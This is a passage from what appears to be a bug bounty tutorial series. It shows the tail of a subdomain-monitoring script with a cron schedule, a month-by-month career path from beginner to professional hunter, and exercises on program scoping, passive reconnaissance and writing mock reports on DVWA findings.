print(f"[+] State saved to {MONITOR_DIR}/{domain}-state.json")
if __name__ == "__main__":
main()
# Run daily via cron
# 0 8 * * * python3 ~/tools/target_monitor.py target.com >> ~/bb-monitor/monitor.log
python3 target_monitor.py target.com
When the script detects a new subdomain, that's your signal. A new subdomain means new infrastructure -- possibly a new service being deployed, a staging environment being set up, or a new feature being tested. New infrastructure often has weaker security controls because it hasn't been through the same hardening process as the main application. First-mover advantage matters in bug bounty -- if you test a new asset within hours of its appearance, you're competing with nobody.
The Path From Beginner to Professional
Here's the progression that most successful bounty hunters follow:
Month 1-3: LEARNING
- Complete this series (you're almost there)
- Set up accounts on HackerOne and Bugcrowd
- Read 50+ disclosed reports on both platforms
- Practice on CTF platforms (HackTheBox, TryHackMe, PortSwigger Academy)
- Pick 2-3 programs, learn the applications thoroughly
- Find your first bug (it WILL take a while -- persistence is key)
Month 3-6: BUILDING FUNDAMENTALS
- Submit 10-20 reports (some will be duplicates, that's normal)
- Build your reputation on the platforms
- Develop recon automation for your target programs
- Start specializing (API security, mobile, web, etc.)
- Attend security conferences / read research papers
Month 6-12: DEVELOPING EXPERTISE
- Focus on 5-10 programs you know deeply
- Start finding higher-severity bugs (High/Critical)
- Build custom tooling for your specific targets
- Network with other researchers (many share techniques)
- Consider live hacking events (HackerOne runs these regularly)
Year 1+: PROFESSIONAL
- Consistent income from bounties
- Invitations to private programs (higher bounties, less competition)
- Speaking at conferences, publishing research
- Some researchers transition to full-time security roles
- Some stay independent -- the freedom is worth it
The most important thing nobody tells you: the first few months are going to be frustrating. You'll test for days and find nothing. You'll submit reports and get "duplicate" or "informative" responses. You'll see other researchers find criticals in targets you tested thoroughly and wonder what you missed. This is normal. Every successful bounty hunter went through the same frustration period. The ones who made it through are the ones who kept testing.
Doorzetten als het tegenzit. Dat is de enige hack die je niet in een boek leert.
Exercises
Exercise 1: Create accounts on HackerOne and Bugcrowd. Browse 10 bug bounty programs and for each, document: scope (what's in/out), bounty range, response time, and what vulnerability types they're most interested in. Identify the 3 programs you would target first and explain why.
Exercise 2: Pick one bug bounty program with a wide scope (wildcard subdomain). Perform passive reconnaissance (episode 4 techniques) against the target: subdomain enumeration using the script from this episode, technology fingerprinting, JavaScript file analysis using the endpoint extractor from this episode. Document everything you find in a structured recon report saved as ~/lab-notes/bounty-recon.md. Do NOT test any vulnerabilities yet -- this is recon only.
Exercise 3: Write 3 mock bug bounty reports for vulnerabilities you found in DVWA during this series (one SQL injection from episode 12, one XSS from episode 14, one CSRF from episode 16). Format them exactly as a real HackerOne submission: title, severity with CVSS, description, steps to reproduce, impact, proof of concept, and remediation. Have someone else follow your reproduction steps to verify clarity.